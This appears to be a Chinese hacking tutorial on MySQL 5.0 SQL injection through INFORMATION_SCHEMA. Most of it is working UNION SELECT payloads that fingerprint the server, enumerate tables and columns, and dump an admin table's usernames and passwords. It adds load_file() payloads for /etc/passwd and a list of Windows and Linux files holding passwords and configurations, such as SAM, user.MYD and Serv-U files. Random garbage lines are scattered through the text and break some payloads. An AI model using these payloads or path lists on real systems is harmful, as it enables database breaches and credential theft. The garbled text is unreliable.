mysql5.0注入原理

admin

记得之前园长说不知道MYSQL5.0以上的IFORMATION_SCHEMA表的结构就说自己懂得注入的是很傻逼的事情。于是了解了一番。

2 Y6 K" L; q& g
# O: h+ M$ X* Q
* S6 w" a) w+ H; CMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其
' u( r% K* f9 P6 K3 j3 u中记录了Mysql中所有
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说
4 d6 i: i- T% }" _, ~明。
1.得到所有数据库名：
|SCHEMATA ->存储数据库名的表
|—字段：SCHEMA_NAME ->数据库名称

8 i5 H3 @9 i( r/ X|TABLES ->存储表名
|—字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
& e, h5 E& ]3 ]|—字段：TABLE_NAME ->存储表的表名
" U9 c) U# K" y: ?( A& H
# a" K7 u9 e- ]- R- [|COLUMNS ->存储的字段名表
, f* o1 d! X4 l  ~|—字段：TABLE_SCHEMA ->该字段所属数据库名
|—字段：TABLE_NAME ->存储所属表的名称

|—字段：COLUMN_NAME ->该字段的名称
2 S' e) c, a- @6 P6 Y
7 R  ]; H$ R1 z( u#########################################################################
: l. `# H) A1 r+ Y; k: G##
# l7 V1 @( r9 D9 @0 G1 [( W
0×001 获取系统信息:
3 o: K5 G! [8 k) Z" x
" M0 w( O8 A( z8 f3 kunion select 1,2,3,4,5,concat
# n, P& Z& N9 ~  a& R6 G. r(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user
+ z7 M5 N& S5 D& [(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
3 N* J0 [  C9 O9 t( ^
  q% a; {/ b2 L; ~. {6 e+ Q& t5 C/*

1 u/ `' M; T. B: z0 K7 J@@global.version_compile_os 获取系统版本
6 q6 K7 W! o/ M( r: i5 j- ?
@@datadir 数据库路径
database() 当前数据库名称
0x3c62723e 换行HEX值
( C8 K8 T1 c- Z6 p
% D& m5 s' y, ~5 C+ t# u*/
* M9 v$ P/ K+ i* C: Y: M1 h
1 `2 w9 s' z% q/ X% b, k######################################################################

4 Z' E$ R5 @+ _9 ^9 j8 ?* a8 |0×002 获取表名

; g8 w) W3 H! l7 M$ A: Y; Gunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from
information_schema.tables where table_schema=0x67617264656e /*
$ X0 _4 d# O3 Q: _4 U8 {
/*
6 j$ A6 {: y0 U7 V: t. t
0x67617264656e 为当前数据库名

$ S6 ~, i$ O  c/ zgroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名

*/

######################################################################

0×003 获取字段
+ L2 X, i# \6 \$ W, q6 f; u7 g  e* x
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from
6 r3 [4 A8 D- G' s  |2 }' c" r6 ~information_schema.columns where table_name=0x61646d696e and

& B! c* r: k3 b6 ~: {" ~6 {: j1 w; t
# J& C, [  n; L! B  etable_schema=0x67617264656e limit 1 /*
) W% ]/ A3 ]. w+ ]" s6 W% z8 H
/*

group_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段
6 D. ]( y8 u) b; m$ V+ N  g
* @% f# f- N+ w' @# r4 g0x61646d696e ->选择一个表

" s. H+ R" }$ |0x67617264656e ->数据库名
% @# B8 Z7 A& {: d9 n/ L. @% n: [
*/

) A0 @4 F6 }% }. y#####################################################################

9 h  O9 A5 V, K0×004 获取数据

union select 1,2,3
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
5 G! U% Q0 R1 I, x: _
union select 1,group_concat(id),group_concat(adname),4,5,group_concat
(adpassword),6,7,8 from admin
% I" e6 b* I3 T2 S. V  G- ]# x
/*
5 r2 v% g4 j+ b* [4 U
0x3c62723e 换行符号HEX编码
* v; ]3 C7 ?2 ]2 \
group_concat 同时获得该字段所有数据
9 J4 C- z. k$ c' H: Z$ x! T8 G
*/


: ~% u+ I8 _6 q. b, {4 Y


( x# f, y. c. n顺便添加一些mysql注入时非常有用的一些东西
/ f9 C# N/ ]2 f9 q6 _1 S1 f
简单介绍Mysql注入中用到的一些函数的作用，利用它们可以判断当前用户权限（Root为最高，相当于MSSQL中的SA）、数据库版本、数据库路径、读取敏感文件、网站目录路径等等。
7 o: k6 b5 |* D4 T. K* @
1:system_user() 系统用户名
2:user()        用户名
3:current_user()  当前用户名
7 J/ l( i5 Q( ?2 q2 t: J3 J' t) @" ^4:session_user()连接数据库的用户名
5:database()    数据库名
, I- p% U- v3 h3 O) B( Y. N6:version()     MYSQL数据库版本
) g# G8 E5 @% m6 G7:load_file()   MYSQL读取本地文件的函数
5 i8 Z! s2 I8 ]( t: l5 M! x8 N: S8@datadir     读取数据库路径
! f! L9 g* Q. X# ^0 M9@basedir    MYSQL 安装路径
8 `6 Z" p9 E; A9 _: T+ D0 I, i7 ]10@version_compile_os   操作系统  Windows Server 2003,
收集的一些路径：
& C! A# R0 P% D8 y1 {' BWINDOWS下:
c:/boot.ini          //查看系统版本
c:/windows/php.ini   //php配置信息
3 q! \( Z5 n3 X' ac:/windows/my.ini    //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码
c:/winnt/php.ini
2 G5 e/ R4 [7 u5 `8 gc:/winnt/my.ini
" N7 Z& Z2 k5 t; N0 a* Gc:\mysql\data\mysql\user.MYD  //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini  //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
& D, x! ~  \- c0 i: Yc:\windows\system32\inetsrv\MetaBase.xml  //IIS配置文件
c:\windows\repair\sam  //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe  //6.0版本以前的serv-u管理员密码存储于此
  k" h) U! e( l% e3 Oc:\Program Files\RhinoSoft.com\ServUDaemon.exe
3 }* o% T/ M9 l, v; DC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
# [- V, P( M/ s//存储了pcAnywhere的登陆密码
% x; D+ l4 a# ]6 Z- p' ^c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看     WINDOWS系统apache文件
1 ?; c7 `( _* m5 bc:/Resin-3.0.14/conf/resin.conf   //查看jsp开发的网站 resin文件配置信息.
+ g; v; x( F7 V( U

c:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
' Y& K  k, M5 U' e7 {C:\Program Files\mysql\my.ini
0 ?& R2 ?; j2 [0 E! ?c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
3 M! q7 @. t1 o3 q# C% h
LUNIX/UNIX下:
, F# Z; n2 O3 z: a1 {1 W, a5 V/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
# m7 K3 W! k" k/ j: L) I! }0 Y/etc/httpd/conf/httpd.conf // apache配置文件
) t) o! S' l4 C/etc/rsyncd.conf //同步程序配置文件
  q* c, H0 z4 M  a9 k9 w# {/etc/my.cnf //mysql的配置文件
& @% N( _, C6 ^8 ]/etc/redhat-release //系统版本
/etc/issue
, c) u4 I# e9 k- p/etc/issue.net
& r# s3 s! }# H! T/usr/local/app/php5/lib/php.ini //PHP相关设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
! |) J& n4 P! z+ G/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
) G' G! Z8 x( p( s! F  `. Z- k. C/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
2 Y( U, M% G3 z/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
) B& l9 N# O; ^2 o$ j9 {/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/sysconfig/iptables 查看防火墙策略
load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
6 w: o: V" t& {" M  N# M7 o; breplace(load_file(0x2F6574632F706173737764),0x3c,0×20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
+ X- t" M1 {: b: d" p0 H
3 E% _! `4 {/ a7 `7 `' y' J